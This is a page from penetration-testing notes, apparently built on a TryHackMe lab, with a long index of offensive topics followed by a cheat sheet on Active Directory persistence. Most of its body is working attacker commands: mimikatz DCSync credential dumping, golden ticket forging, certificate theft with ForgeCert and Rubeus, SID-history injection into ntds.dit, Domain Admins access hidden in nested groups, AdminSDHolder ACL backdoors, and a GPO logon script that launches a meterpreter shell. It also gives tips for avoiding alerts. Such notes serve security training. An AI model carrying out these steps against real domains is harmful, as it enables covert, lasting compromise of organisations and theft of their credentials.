Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- Active Directory Persistance
  - Using Credentials
    - Usage
  - Using Tickets
    - Usage
  - Using Certificates
  - Using SID History
    - Usage
  - Using Group Memberships
    - Usage
  - Using ACLs
  - Usage
  - Using GPOs
    - Usage

# Active Directory Persistance

## Using Credentials

- Knowledge Consistency Checker (KCC) replicates credentials through the forest
- DC Synchronisation is the process of syncing credentials between domain controllers, it can be used to gather credentials
  - Credentials for multiple local administrators
  - Service account with delegation permissions
  - Service accounts with high AD permissions, Windows Server Update Services (WSUS), System Center Configuration Manager (SCCM)

### Usage

- Use mimikatz

    lsadump::dcsync /domain:<domain> /user:<username>

- To query the krbtgt user

    lsadump::dcsync /domain:<domain> /user:krbtgt.<domain>

- Query everything

    lsadump::dcsync /domain:<domain> /all

## Using Tickets

- Golden Ticket crafted TGT,

  - Needs domain name, domain SID and a user ID to impersonate
  - Needs krbtgt NTLM to sign the ticket
  - krbtgt hash never rotates automatically, only refreshed manually
  - krbtgt hash bypasses smart cards
  - TGT can not be older than 20 minutes
  - TGT lifetime can be set to years
  - TGT can be signed anywhere as long as the krbtgt hash is known

- Silver Ticket crafted TGS

  - Signed by targeted service account on a host
  - DC is never contacted, no contact to any TGT or KDC
  - Non existing user can be used with a local admin group's SID

### Usage

- Craft a golden ticket

    Get-ADDomain

    kerberos::golden /admin:MyLittleAdministrator /domain:<domain> /id:500 /sid:<Domain SID> /target:<Hostname of server being targeted> /rc4:<NTLM Hash of machine account of target> /service:cifs /ptt

## Using Certificates

- Private key extraction via mimikatz which makes it exportable

    crypto::certificates /systemstore:local_machine
    privilege::debug
    crypto::capi
    crypto::cng
    crypto::certificates /systemstore:local_machine /export

- Password of the certificate is `mimikatz` afterwards
- Use ForgeCert to create certificate

    ForgeCert.exe --CaCertPath <domain>.pfx --CaCertPassword mimikatz --Subject CN=User --SubjectAltName Administrator@<domain> --NewCertPath Administrator.pfx --NewCertPassword SecretPassword

* * Use Rubeus to request the TGT via

    Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to> /domain:<domain> /dc:<IP of domain controller>

- Load the TGT via mimikatz

    privilege::debug
    kerberos::ptt administrator.kirbi
    dir \\<dc.example.com>\C$\

## Using SID History

- Account logs on -> associated SIDs (group SIDs) added to the user's token -> permissions are set in this way
- SIDs of controlled accounts may be added to the history
- Add Administrator group to the associated SIDs / the token
- `ntds.dit` stores all AD info
- User does not come up on checking groups, the user stays hidden unless searched for explicitly

### Usage

- Check SID history

    Get-ADUser <your ad username> -properties sidhistory,memberof

- Check SID of domain admins

    Get-ADGroup "Domain Admins"

- Use DSInternals to patch `ntds.dit`

    Stop-Service -Name ntds -force
    Add-ADDBSidHistory -SamAccountName 'username of our low-priveleged AD account' -SidHistory 'SID to add to SID History' -DatabasePath C:\Windows\NTDS\ntds.dit
    Start-Service -Name ntds

- Verify users SIDs

    Get-ADUser <username> -Properties sidhistory
    dir \\<dc.example.com>\C$\

## Using Group Memberships

- Most are monitored security wise
- Interesting group for persistence are
  - `IT Support`
  - Local administrational accounts
  - Groups with ownership over GPO
- Nested groups are used to organize an AD
  - `Helpdesk`, `Network Manager` is a nested group of `IT Support`
- Joining a nested groups is not as alerting as joining a more general group

### Usage

- Create a new subgroup

    New-ADGroup -Path "OU=IT,OU=People,DC=<SUBDC>,DC=<DOMAIN>,DC=COM" -Name "<username> Steam Network 1" -SamAccountName "<username>_steam_network1" -DisplayName "<username> Steam Network 1" -GroupScope Global -GroupCategory Security

- And nesting another one

    New-ADGroup -Path "OU=SALES,OU=People,DC=ZA,DC=TRYHACKME,DC=LOC" -Name "<username> Steam Network 2" -SamAccountName "<username>_steam_network2" -DisplayName "<username> Steam Network 2" -GroupScope Global -GroupCategory Security

    Add-ADGroupMember -Identity "<username>_steam_network2" -Members "<username>_steam_network1"

- Do it a couple of times again and add the last group to Domain Admins

    Add-ADGroupMember -Identity "Domain Admins" -Members "<username>_2"

- Add the low priv user to the first group

    Add-ADGroupMember -Identity "<username>_steam_networks1" -Members "<low privileged username>"

- And check

    dir \\<domain>\c$\

- Verify nested group

    Get-ADGroupMember -Identity "Domain Admins"

## Using ACLs

- AD group templates like `AdminSDHolder` can be used to copy its ACL through the AD's protected groups
  - Domain Admins
  - Administrators
  - Enterprise/Schema Administrator
- SDProp as a process maps the ACLs to protected groups every hour

## Usage

- `runas /netonly /user:Administrator cmd.exe` and therein open `mmc`
- File -> Add Snap-In -> Active Directory Users and Groups
- View -> Advanced Features
- AdminSDHolder group in Domain -> System

- Right click the group -> Properties -> Security -> Add user and Check Names -> OK -> Allow on Full Control -> Apply -> OK

- Add the user to other groups with the new propagated permissions

## Using GPOs

- Restricted Group Memberships, admin access to every host in the domain
- Logon Script Deployment, get a shell when a user logs in

### Usage

- Craft a portable executable shell via meterpreter
- Craft a batch script

    copy \\<domain>\sysvol\<subdomain>\scripts\shell.exe C:\windows\tmp\_shell.exe && timeout /t 20 && C:\windows\tmp\shell.exe

- Copy both to the sysvol
- `runas /netonly /user:Administrator cmd.exe` and therein open `mmc`
- File -> Add/Remove Snap-in -> Group Policy Management -> Add -> OK
- Right click Admins OU -> Create GPO in the domain -> link it -> name it
- Right click created policy -> Enforced
- Right click created policy -> edit -> User Configuration / Policies -> Window Settings -> Scripts (logon/logoff)
- Right click Logon -> Properties -> Scripts tab -> Add -> Browse
- Select the previously created batch script and PE

- Catch the shell when an admin logs on

- Once again open mmc

- Right click Enterprise Domain Controllers -> Edit settings, delete, modify security

- Click on every other group except Authenticated Users and remove them

- Add -> `Domain Computers` -> check names - OK

- Read Permissions -> OK -> Authenticated Users -> Remove